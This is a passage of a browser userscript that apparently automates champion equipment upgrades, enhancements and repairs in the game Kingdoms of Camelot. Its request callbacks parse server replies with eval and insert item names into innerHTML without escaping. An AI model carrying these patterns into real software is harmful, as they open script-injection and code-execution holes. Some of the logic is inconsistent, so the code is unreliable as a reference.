        var icon = ''+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/champion_hall/' +unsafeWindow.cm.CHAMPION.getRarityClasses(y.rarity) + '_' +unsafeWindow.cm.CHAMPION.getEquipmentClasses(y.type)+ '_' +unsafeWindow.cm.CHAMPION.getFactionClasses(y.faction) +'_30x30.png';
	if (y["rarity"]>5)
          var icon = ''+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/champion_hall/' + 'unique' + '_' +unsafeWindow.cm.CHAMPION.getEquipmentClasses(y.type)+ '_' +unsafeWindow.cm.CHAMPION.getFactionClasses(y.faction) +'_30x30.png';
        if (y.equippedTo > 0)m='<TABLE width=80% height=0% align="center" class=ChampionEQ  ondblclick="chpostInfo('+z+')" style="background: transparent url('+icon +') bottom right no-repeat; background-color:#FFFFE3;">';
        else m='<TABLE width=80% height=0% align="center" class=Champion ondblclick="chpostInfo('+z+')" style="background: transparent url('+icon +') bottom right no-repeat; background-color:#FFFFE3;">';
        switch(parseInt(y["rarity"])){
         case 1:color="grey";break;
         case 2:color="white";break;
         case 3:color="green";break;
         case 4:color="blue";break;
         case 5:color="purple";break;
         default:break;
        }

          m+='<TR><TD style="background-color:#D5C795"><FONT color='+ color +'><B>' + y.name + '</b></font></td>';
        m+= '<TD><A onclick="chSavlage('+ y.equipmentId +')"><img src="data:image/png;base64,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"/></td></tr>';
          m+='<TR><TD style="background-color:#D5C795"><FONT color='+ color +'><B>[' + y.equipmentId + ']</b></font></td>';
		for (i=1;i<=5;i++){
            id = y["effects"][""+i]["id"];
            tier = parseInt(y["effects"][""+i]["tier"]);
            level = y["level"];
//            p = unsafeWindow.cm.Championstats.tiers[id][tier];
            p = t.championStatTiers[id][tier];
            Current = String(p.base + ((level * level + level) * p.growth * 0.5)).slice(0,6);
            var quality = parseInt(y["rarity"]);
            if (i<=quality) m+='<TR><TD><FONT color=black>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
            else m+='<TR><TD><FONT color=grey>' + Current + "% " + t.championStatEffects[id]["1"] + '</font></td></tr>';
      }
//      m+='</table><table align="center"><tr><td><a onclick="chdoEquip('+z+')">Equip</a></td><td><a onclick="chpostInfo('+z+')">Post to chat</a></td><td><a onclick="chfupgenh('+z+')">Upgrade/Enhance</a></td></tr></table>';
      m+='</table><table align="center"><tr><td><a onclick="chpostInfo('+z+')">Post to chat</a></td><td><a onclick="chfupgenh('+z+')">Upgrade/Enhance</a></td></tr></table>';
      document.getElementById('DIV'+what).innerHTML = m;
},


PaintHistory : function() {
    var t = Tabs.Champion;
    var popHistory = null;
    popHistory = new pbPopup('pbchShowHistory', 0, 0, 1100, 500, true, function() {clearTimeout (1000);});
    var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbchBars">';       
    popHistory.getMainDiv().innerHTML = '</table></div>' + m;
    popHistory.getTopDiv().innerHTML = '<TD><B>Succesfull Upgrade/Enhance list:</td>';
    for (i=0;i<t.log.length;i++){
        var row = document.getElementById('pbchBars').insertRow(0);
        row.vAlign = 'top';
        row.style.color = "black";
        row.insertCell(0).innerHTML = t.log[i].time;
        row.insertCell(1).innerHTML = t.log[i].name;
        row.insertCell(2).innerHTML = t.log[i].action;
        row.insertCell(3).innerHTML = t.log[i].tries;
        row.insertCell(4).innerHTML = t.log[i].good;
        row.insertCell(5).innerHTML = t.log[i].bad;
    }
    var row = document.getElementById('pbchBars').insertRow(0);
    row.vAlign = 'top';
    row.style.color = "black";
    row.insertCell(0).innerHTML = "Time";
    row.insertCell(1).innerHTML = "Name";
    row.insertCell(2).innerHTML = "Action";
    row.insertCell(3).innerHTML = "Tries";
    row.insertCell(4).innerHTML = "Good Req.";
    row.insertCell(5).innerHTML = "Bad Req.";
    popHistory.show(true)    ;
},


PaintSalvageHistory : function() {
    var t = Tabs.Champion;
    var popHistory = null;
    popHistory = new pbPopup('pbchSalvageShowHistory', 0, 0, 1100, 500, true, function() {clearTimeout (1000);});
    var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbchBars">';       
    popHistory.getMainDiv().innerHTML = '</table></div>' + m;
    popHistory.getTopDiv().innerHTML = '<TD><B>Champion room Salvage list:</td>';
    for (i=0;i<t.SalvageLog.length;i++){
        var row = document.getElementById('pbchBars').insertRow(0);
        row.vAlign = 'top';
        row.style.color = "black";
        row.insertCell(0).innerHTML = t.SalvageLog[i].time;
        row.insertCell(1).innerHTML = t.SalvageLog[i].stones;
        row.insertCell(2).innerHTML = t.SalvageLog[i].msg;
    }
    var row = document.getElementById('pbchBars').insertRow(0);
    row.vAlign = 'top';
    row.style.color = "black";
    row.insertCell(0).innerHTML = "Time";
    row.insertCell(1).innerHTML = "Aetherstones";
    row.insertCell(2).innerHTML = "Action";
    popHistory.show(true)    ;
},

     addToQueue : function (id,action){
        var t= Tabs.Champion;
        document.getElementById('chShowHoover').innerHTML = "";
 //        ChampionOptions.Items.push ({id:id,action:action,name:unsafeWindow.kocChampionItems[id]["name"],qualityfrom:0,qualityto:0,levelfrom:0,levelto:0,cost:0,active:false});
         ChampionOptions.Items.push ({id:id,action:action,name:unsafeWindow.kocChampionItems[id]["name"],qualityfrom:0,qualityto:0,levelfrom:0,levelto:0,cost:0,active:false});
        saveChampionOptions();
        t.checkUpgradeInfo(false);
        t.PaintQueue();
        t.paintInfo();
        if (ChampionOptions.Active) document.getElementById('chShowStatus').innerHTML = "Starting Next Queue item..."
         else document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
  },

  checkUpgradeInfo : function (firstRun){
    var t= Tabs.Champion;
    var countUpgrade = 0;
    var countEnhance = 0;
    var levelfrom = 0;
    var levelto =0;
    var qualityfrom = 0;
    var qualityto = 0;
    if (ChampionOptions.Items.length == 0) return;
    for (k=0;k<ChampionOptions.Items.length;k++){
        countUpgrade = 0;
        countEnhance = 0;
        if (unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]] != undefined) {
                if (k>0) for (l=0;l<k;l++) {
                      if (ChampionOptions.Items[l]["id"] == ChampionOptions.Items[k]["id"] && ChampionOptions.Items[l]["action"] == "Upgrade") {countUpgrade++;}
                    if (ChampionOptions.Items[l]["id"] == ChampionOptions.Items[k]["id"] && ChampionOptions.Items[l]["action"] == "Enhance") {countEnhance++;}
                  }
                if (ChampionOptions.Items[k]["action"] == "Upgrade") {
                    ChampionOptions.Items[k]["levelfrom"] = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]["level"]) + countUpgrade;
                    ChampionOptions.Items[k]["levelto"] = parseInt(ChampionOptions.Items[k]["levelfrom"]) +1;
                        ChampionOptions.Items[k]["qualityfrom"] = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]["rarity"]) + countEnhance;
                        var newlvl = ChampionOptions.Items[k]["levelto"];
//                    if (!unsafeWindow.cm.Championstats.upgrade[newlvl] && !firstRun) {ChampionOptions.Items.splice (k,1);if(document.getElementById('ShowTries')) document.getElementById('ShowTries').innerHTML = "<font color=red>You can't upgrade higher then level "+Number(newlvl-1)+"!</font>";return;}
                    if (!t.UpgradeCost[newlvl] && !firstRun) {ChampionOptions.Items.splice (k,1);if(document.getElementById('ShowTries')) document.getElementById('ShowTries').innerHTML = "<font color=red>You can't upgrade higher then level "+Number(newlvl-1)+"!</font>";return;}

                }
                if (ChampionOptions.Items[k]["action"] == "Enhance") {
                    ChampionOptions.Items[k]["qualityfrom"] = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]["rarity"]) + countEnhance;
                    ChampionOptions.Items[k]["qualityto"] = parseInt(ChampionOptions.Items[k]["qualityfrom"]) +1;
                     ChampionOptions.Items[k]["levelfrom"] = parseInt(unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]["level"]) + countUpgrade;
                    if (ChampionOptions.Items[k]["qualityto"]>5 && !firstRun) {ChampionOptions.Items.splice (k,1);if(document.getElementById('ShowTries')) document.getElementById('ShowTries').innerHTML = "<font color=red>You can't upgrade higher then quality 5!</font>";return;}
                }
                if (ChampionOptions.Items[k]["action"] == "Enhance") var lvl = parseInt(ChampionOptions.Items[k]["qualityfrom"]) +1;
                if (ChampionOptions.Items[k]["action"] == "Upgrade") var lvl = parseInt(ChampionOptions.Items[k]["levelfrom"]) +1;
//                costAction = ChampionOptions.Items[k]["action"].toLowerCase();
//                if (unsafeWindow.cm.Championstats[costAction][lvl] != undefined) ChampionOptions.Items[k]["cost"] = unsafeWindow.cm.Championstats[costAction][lvl].Stones;
//                else ChampionOptions.Items.splice (k,1);
		if (ChampionOptions.Items[k]["action"] == "Enhance") ChampionOptions.Items[k]["cost"] = t.EnhanceCost[lvl];
		if (ChampionOptions.Items[k]["action"] == "Upgrade") ChampionOptions.Items[k]["cost"] = t.UpgradeCost[lvl];
        } else ChampionOptions.Items.splice (k,1);
    }
    saveChampionOptions();
  },
    
    
    PaintQueue : function (){
        var t= Tabs.Champion;
        if(document.getElementById('chShowQueueDiv')) {
        document.getElementById('chShowQueueDiv').innerHTML = '<TABLE id=chShowQueue class=pbStat align="center" width=90%></table>';
        for (k=(ChampionOptions.Items.length-1);k>=0;k--){
            if (typeof(unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]) == 'object') {
		ChampionOptions.Items[k]["name"] = unsafeWindow.kocChampionItems[ChampionOptions.Items[k]["id"]]["name"];
		t._addTab(k,ChampionOptions.Items[k]["name"]+' ['+ChampionOptions.Items[k]["id"]+']',ChampionOptions.Items[k]["qualityfrom"],ChampionOptions.Items[k]["qualityto"],ChampionOptions.Items[k]["levelfrom"],ChampionOptions.Items[k]["levelto"],ChampionOptions.Items[k]["action"],ChampionOptions.Items[k]["active"],ChampionOptions.Items[k]["cost"]);
            } else ChampionOptions.Items.splice (k,1);
        }
    	saveChampionOptions();
        t._addTabHeader();
   }
  },
  
  doAction : function (){
        var t= Tabs.Champion;
        var now = new Date().getTime()/1000.0;
        if (!ChampionOptions.Active) return;
        t.checkUpgradeInfo();
//	if(Seed.queue_Champion.end  > unsafeWindow.unixtime()) {
        if(t.repairEnd  > now) {
		if(document.getElementById('chShowStatus'))document.getElementById('chShowStatus').innerHTML = "Waiting on repair";
		 t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
		return;
	} 
//// Repairs so reset status
	  ChampionOptions.ibrokeitems.pop(ChampionOptions.Items["0"]["id"]);
	  unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].status = 1;
	  t.repairEnd = null;

//	if(Seed.queue_Champion.end == undefined) {
        if(t.repairEnd == undefined) {
		//need to update for doupgradesimple and ibrokeitems.
		if(ChampionOptions.ibrokeitems.length > 0){
                  setTimeout(t.doRepair,5000);
                  clearTimeout(t.setActionTimer);
                  t.setActionTimer = setInterval(t.doAction,10000);
		return;
		}
        	if (ChampionOptions.Items.length ==0) {
        		if(document.getElementById('chShowStatus'))document.getElementById('chShowStatus').innerHTML = "No items in queue!!";
                	clearTimeout(t.setActionTimer);
                	t.setActionTimer = setInterval(t.doAction,60*1000);
		return;
        	}
//        	if (unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].isBroken == true){
        	if (unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].status < 0){
                	setTimeout(t.doRepair,5000);
                	clearTimeout(t.setActionTimer);
                	t.setActionTimer = setInterval(t.doAction,10000);
		return;
        	}
        	ChampionOptions.Items["0"]["active"] = true;
        	t.PaintQueue();
//        	if (unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].isBroken == false){
        	if (unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].status == 1){
         		if(document.getElementById('ShowStatus'))
                  		document.getElementById('chShowStatus').innerHTML = "Doing " + ChampionOptions.Items["0"]["action"] + "...";
            		if (ChampionOptions.Items["0"]["action"] == "Upgrade") setTimeout(t.doUpgrade,5000); 
            		if (ChampionOptions.Items["0"]["action"] == "Enhance") setTimeout(t.doEnhance,5000); 
            		clearTimeout(t.setActionTimer);
            		t.setActionTimer = setInterval(t.doAction,30000);
        	}
        
	};
  },
  
  
  doEnhance : function() {
        var t = Tabs.Champion;
        if (typeof(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]]) == 'object') {
                var y = unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]];
        } else return;
        var cityid = 0;
        var cidarray = [];
        for (var k in Cities.byID) {
            if (Seed.resources["city"+k]["rec5"][0] > parseInt((ChampionOptions.Items["0"]["cost"]+50000)) && Seed.resources["city"+k]["rec5"][0] > parseInt(50000))//added more than 50k to stop spending gems by accident
            {
            cidarray.push(k);
            }
        }
        if(cidarray.length > 0)
        cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
        if(cityid == 0){
           document.getElementById('chShowStatus').innerHTML = "Not enough aetherstone to enhance!!";
           return;    
        }
      Seed.resources['city'+cityid].rec5[0]=parseInt(Seed.resources['city'+cityid].rec5[0] - parseInt(ChampionOptions.Items["0"]["cost"]));
        var buffItem = 0;
/***
        if(ChampionOptions.UseTokens) {
         if(ChampionOptions.UseMO) {
          if(parseInt(unsafeWindow.seed.items['i20004'])>0)//mystic orb
             buffItem = 20004;
          if(parseInt(unsafeWindow.seed.items['i20003'])>0)//lesser mystic orb
             buffItem = 20003;
	 }
         if(parseInt(unsafeWindow.seed.items['i20002'])>0)//protection stone
            buffItem = 20002;
         if(parseInt(unsafeWindow.seed.items['i20001'])>0)//lesser protection stone
            buffItem = 20001;
         if(buffItem)
            unsafeWindow.cm.InventoryView.removeItemFromInventory(buffItem);
      };
***/
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
//        params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
        params.action = 4;
        params.eid = ChampionOptions.Items["0"]["id"];
        params.chanceItem = buffItem;
        params.aetherstones = ChampionOptions.Items["0"]["cost"];
	params.gems = 0;
        params.cityId = cityid;
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                 if (rslt.updateSeed)
               unsafeWindow.update_seed(rslt.updateSeed);
                if(rslt.ok){
                    if (rslt.gems > 0)
                    {
                        document.getElementById('chShowStatus').innerHTML = 'Upgrader accidentally spent gems!  Turning upgrader off!!';
                        ChampionOptions.Active = false;
                        saveChampionOptions();
                    }
                    Seed.resources["city" + cityid]["rec5"][0] -= rslt.aetherstones;
//                      y.level = rslt.level;
                      y.rarity = rslt.rarity;
                      y.status = 1;
//                    if (rslt.success)
                    if (!rslt.broken)
                    {                    
                       y.name = y.createName();
                       t.addToLog(ChampionOptions.Items["0"]["id"],ChampionOptions.Items["0"]["action"],ChampionOptions.Tries,ChampionOptions.Good,ChampionOptions.Bad);
                       ChampionOptions.Tries = 0;
                       ChampionOptions.Good = 0;
                       ChampionOptions.Bad = 0;
                       saveChampionOptions();
                       document.getElementById('chShowTries').innerHTML = "Tries: --";
                        ChampionOptions.Items.splice (0,1);
                    }
                    else
                    {
               if(!params.chanceItem) {
//                  y.isBroken = true;
                  y.status = -2;
                  y.brokenType = "rarity";
                  y.name = y.createName();
		  ChampionOptions.ibrokeitems.push(params.eid);
               }
                       ChampionOptions.Tries++;
                       document.getElementById('chShowStatus').innerHTML = 'Enhance failed :( <br />Item: ' + unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].name +"<br />Waiting for repair...";
                       document.getElementById('chShowTries').innerHTML = "Tries: " + ChampionOptions.Tries + "<br />Good requests: " + ChampionOptions.Good + "   Bad requests: " + ChampionOptions.Bad;
		       setTimeout(t.doRepair,5000);
                    }
//                    unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
//		    unsafeWindow.cm.ChampionPanelView.renderBroken(y);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
            
                    t.checkUpgradeInfo(false);
                      t.PaintQueue();
                    ChampionOptions.Good++;
                    saveChampionOptions();
                } else {
//                	  unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].isBroken = true;
                	  unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].status = -2;
			  setTimeout(t.doRepair,5000);
                    ChampionOptions.Bad++;
                    saveChampionOptions();
                }
                return;    
            },
            onFailure: function () {
               return;
            },
        });
    },
       
    doUpgrade : function() {
        var t = Tabs.Champion;
        if (typeof(unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]]) == 'object') {
                var y = unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]];
        } else return;
        var cityid = 0;
        var cidarray = [];
        for (var k in Cities.byID) {//added more than 50k to stop spending gems by accident
            if (Seed.resources["city"+k]["rec5"][0] > parseInt((ChampionOptions.Items["0"]["cost"]+50000)) && Seed.resources["city"+k]["rec5"][0] > parseInt(50000))
            {
            cidarray.push(k);
            }
        }
        if(cidarray.length > 0)
        cityid = cidarray[Math.floor(Math.random() * cidarray.length)];
        if(cityid == 0){
         if(document.getElementById('chShowStatus'))
           document.getElementById('chShowStatus').innerHTML = "Not enough aetherstone to upgrade!!";
           return;    
        }
      Seed.resources['city'+cityid].rec5[0]=parseInt(Seed.resources['city'+cityid].rec5[0] - parseInt(ChampionOptions.Items["0"]["cost"]));
        var buffItem = 0;
        if(ChampionOptions.UseTokens) {
/***
         if(ChampionOptions.UseST) {
          if(parseInt(unsafeWindow.seed.items['i21052'])>0)//smith token
             buffItem = 21052;
	 }
***/
         if(parseInt(unsafeWindow.seed.items['i21051'])>0)//journeymans token
            buffItem = 21051;
         if(buffItem)
            unsafeWindow.cm.InventoryView.removeItemFromInventory(buffItem);
      };
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
//        params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
        params.action = 5;
        params.eid = ChampionOptions.Items["0"]["id"];
        params.chanceItem = buffItem;
        params.aetherstones = ChampionOptions.Items["0"]["cost"];
	params.gems = 0;
        params.cityId = cityid;
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                if(rslt.ok){
                if (rslt.updateSeed)
                  unsafeWindow.update_seed(rslt.updateSeed);
                    if (rslt.gems > 0)
                    {
                        document.getElementById('chShowStatus').innerHTML = 'Upgrader accidentally spent gems!  Turning upgrader off!!';
                        ChampionOptions.Active = false;
                        saveChampionOptions();
                    }
                    Seed.resources["city" +cityid]["rec5"][0] -= rslt.aetherstones;
//                    if (rslt.success)
                    if (!rslt.broken)
                    {
                       y.level = rslt.level;
//                       y.rarity = rslt.rarity;
//                       y.name = y.createName();
			y.status = 1;
                       t.addToLog(ChampionOptions.Items["0"]["id"],ChampionOptions.Items["0"]["action"],ChampionOptions.Tries,ChampionOptions.Good,ChampionOptions.Bad);
                       ChampionOptions.Tries = 0;
                       ChampionOptions.Good = 0;
                       ChampionOptions.Bad = 0;
                        ChampionOptions.Items.splice (0,1);
                       saveChampionOptions();
                       document.getElementById('chShowTries').innerHTML = "Tries: --";
                    }
                    else
                    {
               if(!params.chanceItem) {
//                       y.isBroken = true;
                       y.brokenType = "level";
                       y.status = -3;
                       y.name = y.createName();
		       ChampionOptions.ibrokeitems.push(params.eid);
               }
                       ChampionOptions.Tries++;
                       saveChampionOptions();
                       if(document.getElementById('chShowStatus'))
                     document.getElementById('chShowStatus').innerHTML = 'Upgrade failed :( <br />Item: ' + unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].name +"<br />Waiting for repair...";
                     if(document.getElementById('chShowTries'))
                       document.getElementById('chShowTries').innerHTML = "Tries: " + ChampionOptions.Tries + "<br />Good requests: " + ChampionOptions.Good + "   Bad requests: " + ChampionOptions.Bad;
		     setTimeout(t.doRepair,5000);
                    }
//                    unsafeWindow.cm.ChampionView.renderInventory(unsafeWindow.kocChampionItems);
//		    unsafeWindow.cm.ChampionPanelView.renderBroken(y);
		    unsafeWindow.cm.ChampionModalView.renderFilteredItems();
                
                        t.checkUpgradeInfo(false);
                          t.PaintQueue();
                        ChampionOptions.Good++;
                        saveChampionOptions();
                } else {
//                	  unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].isBroken = true;
                	  unsafeWindow.kocChampionItems[ChampionOptions.Items["0"]["id"]].isBroken = -3;
			  setTimeout(t.doRepair,5000);
                    ChampionOptions.Bad++;
                    saveChampionOptions();
                }
                return;
            },
            onFailure: function () {
               return;
            },
        });   
    },

    doUpgradeAll : function(){
        var t = Tabs.Champion;
